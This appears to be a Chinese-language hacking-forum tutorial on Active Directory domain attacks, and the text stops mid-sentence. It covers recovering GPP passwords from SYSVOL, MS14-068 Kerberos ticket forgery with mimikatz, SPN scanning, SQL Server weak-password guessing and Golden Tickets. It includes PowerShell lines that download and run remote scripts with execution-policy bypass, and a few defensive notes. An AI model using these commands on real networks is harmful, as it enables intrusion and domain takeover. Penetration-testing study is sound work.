taibeihacker
Moderator
信息收集
網上各種前期信息收集的文章各種net view之類的這裡就不貼了。一般想知道哪一台是域控知道自己內網的DNS就可以了,一般域控安裝都有安裝DNS有些不止一台,其次是通過掃描獲取開放端口為389機器或者使用NLTEST命令查看。最後就是各種net view查看域控是哪台主機
nltest /DCLIST


這裡利用PowerTools的中的PowerView的信息收集其實很多功能都是淨命令這裡只是以PowerShell的方式實現
Powershell.exe -Nop -NonI -Exec Bypass 'IEX (New.ObjectNet.WebClient).DownloadString('https://raw.githubusercontent.com/cheetz/PowerTools/master/PowerView/powerview.ps1');Get-HostIP'

更詳細參考:域滲透信息收集PowerTools的
Get-NetDomain - gets the name of the current user's domain
Get-NetForest - gets the forest associated with the current user's domain
Get-NetForestDomains - gets all domains for the current forest
Get-NetDomainControllers - gets the domain controllers for the current computer's domain
Get-NetCurrentUser - gets the current [domain\]username
Get-NetUser - returns all user objects, or the user specified (wildcard specifiable)
Get-NetUserSPNs - gets all user ServicePrincipalNames
Get-NetOUs - gets data for domain organization units
Get-NetGUIDOUs - finds domain OUs linked to a specific GUID
Invoke-NetUserAdd - adds a local or domain user
Get-NetGroups - gets a list of all current groups in the domain
Get-NetGroup - gets data for each user in a specified domain group
Get-NetLocalGroups - gets a list of localgroups on a remote host or hosts
Get-NetLocalGroup - gets the members of a localgroup on a remote host or hosts
Get-NetLocalServices - gets a list of running services/paths on a remote host or hosts
Invoke-NetGroupUserAdd - adds a user to a specified local or domain group
Get-NetComputers - gets a list of all current servers in the domain
Get-NetFileServers - get a list of file servers used by current domain users
Get-NetShare - gets share information for a specified server
Get-NetLoggedon - gets users actively logged onto a specified server
Get-NetSessions - gets active sessions on a specified server
Get-NetFileSessions - returned combined Get-NetSessions and Get-NetFiles
Get-NetConnections - gets active connections to a specific server resource (share)
Get-NetFiles - gets open files on a server
Get-NetProcesses - gets the remote processes and owners on a remote server
获取域方法
SYSVOL
SYSVOL是指存儲域公共文件服務器副本的共享文件夾,它們在域中所有的域控制器之間複製。 sysvol文件夾是安裝AD時創建的,它用來存放GPO,腳本等信息。同時,存放在Sysvol文件文件夾中的信息,會復製到域中所有DC上。使用組策略首選項配置組策略批量修改用戶本地管理員密碼
開始- 管理工具- 組策略管理- 在這個域中創建GPO
設置- 右鍵- 編輯- 用戶配置- 首選項- 控制面板設置- 本地用戶和組

更新管理員密碼:

域服務器一般都會共享這個文件夾,或者搜索當前機器下的XML文件將包含憑據:groups.xml,scheduledtasks.xml,services.xml中,datasources.xml。
映射驅動(Drives.xml)
數據源(DataSources.xml)
打印機配置(Printers.xml)
創建/更新服務(services.xml中)
計劃任務(ScheduledTasks.xml)

由於經過身份驗證的用戶(任何域用戶或受信任域中的用戶)具有對SYSVOL的讀取權限
\192.168.50.205sysvolpentest.comPolicies{84017B64-2662-4BA3-A06C-FB953CCBE92D}UserPreferencesGroups.xml

經過AES-256位加密
cpassword='fUCMHAw9I2PdYRZEBMS54IvtPHX3ni44qRkWtfBtxoA'
可以使用AES私鑰解密GPP密碼
微軟在MSDN上發布了AES加密密鑰(共享密鑰)

[MS-GPPREF]: Password Encryption
All passwords are encrypted using a derived Advanced Encryption Standard (AES) key.<3> The 32-byte AES key is as follows:
msdn.microsoft.com
PowerSploit/Exfiltration/Get-GPPPassword.ps1 at master · PowerShellMafia/PowerSploit
PowerSploit - A PowerShell Post-Exploitation Framework - PowerShellMafia/PowerSploit

尋找SYSVOL裡的密碼和攻擊GPP(組策略偏好)
Windows Server 2008 R2之四管理Sysvol文件夾
SYSVOL中查找密碼並利用組策略首選項
利用SYSVOL還原組策略中保存的密
防:
在用於管理GPO的計算機上安裝KB2962486,以防止將新憑據置於組策略首選項中。
設置每個人訪問權限
不在組策略中使用域控密碼
設置共享文件夾SYSVOL的訪問權限
刪除現有的GPP裡包含密碼的XML文件。
MS14-068 Kerberos
Kerberos的是西方神話中守衛地獄之門的三頭犬的名字。只所以使用這個名字是因為Kerberos的需要三方的共同參與,才能完成一次事務處理。Kerberos是Windows活動目錄中使用的客戶/服務器認證協議,為通信雙方提供雙向身份認證。相互認證或請求服務的實體被稱為委託人(主體)。參與的中央服務器被稱為密鑰分發中心簡稱KDC).KDC有兩個服務組成:身份驗證服務(Authentication Server,簡稱AS)和票據授予服務(Ticket Granting Server,簡稱TGS)。在Windows域環境下,身份驗證服務和票據授予服務可同時運行在任何可寫域控服務器上。
更多閱讀:
的Kerberos協議的濫用
Kerberos的的工作原理
最根本的問題在於權限屬性證書可以被偽造,權限屬性證書中存儲帳號用戶名,ID,組成員等信息,掌握域用戶一些基本信息就可以獲取域管理員權限
攻擊者可以有效地重寫有效的Kerberos TGT身份驗證票據,使其成為域管理員(和企業管理員)
Releases · gentilkiwi/mimikatz
A little tool to play with Windows security. Contribute to gentilkiwi/mimikatz development by creating an account on GitHub.
apt-get install rdate
MS14-068過程:
請求沒有PAC的Kerberos TGT認證票據作為標準用戶,DC回复TGT
生成一個偽造的PAC,沒有密鑰,所以生成的PAC使用域用戶的密碼數據用MD5算法而不是HMAC_MD5“簽名”。
作為TGS服務票據請求的一部分,使用偽造的PAC作為授權數據發送無PAC的TGT到DC。
DC似乎被這個混淆了,所以它放棄了用戶發送的不含PAC的TGT,創建一個新的TGT,並將偽造的PAC插入到它自己的授權數據中,並將這個TGT發送給用戶。
這個偽造PAC的TGT使得用戶可以成為易受攻擊的DC上的域管理員。
whoami /user
python ms14-068.py -u 域用戶@域名-p 密碼-s 用戶SID -d 域主機
產生緩存的票據,在當前卡利下生成之後再放到域用戶機器中

利用mimikatz將工具得到的[email protected]寫入內存,創建緩存證書:
mimikatz.exe 'kerberos


klist查看
net use k: \pentest.comc$
目錄k:

相關資料:
Kerberos的工具包PyKEK
深入解讀MS14-068漏洞
Kerberos的安全漏洞
防:
安裝檢查KB3011780的安裝
SPN扫描
Kerberoast可以作為一個有效的方法從Active Directory中以普通用戶的身份提取服務帳戶憑據,無需向目標系統發送任何數據包SPN是服務在使用Kerberos身份驗證的網絡上的唯一標識符。它由服務類,主機名和端口組成。在使用Kerberos身份驗證的網絡中,必須在內置計算機帳戶(如NetworkService或LocalSystem)或用戶帳戶下為服務器註冊SPN。對於內置帳戶,SPN將自動進行註冊。但是,如果在域用戶帳戶下運行服務,則必須為要使用的帳戶的手動註冊SPN。
SPN掃描的主要好處是,SPN掃描不需要連接到網絡上的每個IP來檢查服務端口,SPN通過LDAP查詢向域控執行服務發現,SPN查詢是Kerberos的票據行為一部分,因此比較難檢測SPN掃描。
powershell -exec bypass -Command 'IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PyroTek3/PowerShell-AD-Recon/master/Discover-PSMSSQLServers'); Discover-PSMSSQLServers'

掃描SQL Server腳本
Import-Module .Get-SQLServerAccess.psm1
PS C:Get-SqlServer-Escalate-CheckAccess
[*] ----------------------------------------------------------------------
[*] Start Time: 04/01/2014 10:00:00
[*] Domain: mydomain.com
[*] DC: dc1.mydomain.com [*] Getting list of SQL Server instances from DC as mydomainmyuser.
[*] 5 SQL Server instances found in LDAP.
[*] Attempting to login into 5 SQL Server instances as mydomainmyuser.
[*] ----------------------------------------------------------------------
[-] Failed - server1.mydomain.com is not responding to pings
[-] Failed - server2.mydomain.com (192.168.1.102) is up, but authentication/query failed
[+] SUCCESS! - server3.mydomain.com,1433 (192.168.1.103) - Sysadmin: No - SvcIsDA: No
[+] SUCCESS! - server3.mydomain.comSQLEXPRESS (192.168.1.103) - Sysadmin: No - SvcIsDA: No
[+] SUCCESS! - server4.mydomain.comAppData (192.168.1.104) - Sysadmin: Yes - SvcIsDA: Yes
[*] ----------------------------------------------------------------------
[*] 3 of 5 SQL Server instances could be accessed.
[*] End Time: 04/01/2014 10:02:00
[*] Total Time: 00:02:00
[*] ----------------------------------------------------------------------
通過LDAP從ADS獲取SQL Server的列表,然後試圖用當前域用戶登陸每個SQL Server。這些將輸出到CSV文件中。
PS C:Get-SQLServerAccess -ShowSum | export-csv c:tempsql-server-excessive-privs.csv
[*] ----------------------------------------------------------------------
[*] Start Time: 04/01/2014 10:00:00
[*] Domain: mydomain.com
[*] DC: dc1.mydomain.com
[*] Getting list of SQL Server instances from DC as mydomainmyuser.
[*] 5 SQL Server instances found in LDAP.
[*] Attempting to login into 5 SQL Server instances as mydomainmyuser.
[*] ----------------------------------------------------------------------
[-] Failed - server1.mydomain.com is not responding to pings
[-] Failed - server2.mydomain.com (192.168.1.102) is up, but authentication/query failed
[+] SUCCESS! - server3.mydomain.com,1433 (192.168.1.103) - Sysadmin: No - SvcIsDA: No
[+] SUCCESS! - server3.mydomain.comSQLEXPRESS (192.168.1.103) - Sysadmin: No - SvcIsDA: No
[+] SUCCESS! - server4.mydomain.comAppData (192.168.1.104) - Sysadmin: Yes - SvcIsDA: Yes
[*] ----------------------------------------------------------------------
[*] 3 of 5 SQL Server instances could be accessed.
[*] End Time: 04/01/2014 10:02:00
[*] Total Time: 00:02:00
[*] ----------------------------------------------------------------------
弱口令猜解
Get-SQLServerAccess -sqluser sa -sqlpass 123qwe!@#
尋找敏感數據
Get-SQLServerAccess -query 'select name as 'Databases' from master.sysdatabases where HAS_DBACCESS(name)=1'
更多參考:
非掃描式的SQL Server發現
相關資料:
SPN掃描
掃描SQLServer的腳本
Kerberos的黄金门票

Kerberos Golden Tickets are Now More Golden
At my talk at Black Hat USA 2015, I highlighted new Golden Ticket capability in Mimikatz ("Enhanced Golden Tickets"). This post provides additional detailed on "enhanced" Golden Tickets. Over the past few months, I researched how SID History can be abused in modern enterprises. As part of this...
adsecurity.org
Kerberos的認證原理
深刻理解windows安全認證機制ntlm&Kerberos
的Kerberos身份验证流程

密碼轉換為NTLM哈希值,時間戳使用散列加密,並作為身份驗證票據(TGT)請求(AS-REQ)中的身份驗證器發送給KDC。
域控制器(KDC)檢查用戶信息(登錄限制,組成員身份等)並創建票證授予票證(TGT)。
TGT被加密,簽名並交付給用戶(AS-REP)。只有域中的Kerberos的服務(KRBTGT)才能打開並讀取TGT數據。
用戶在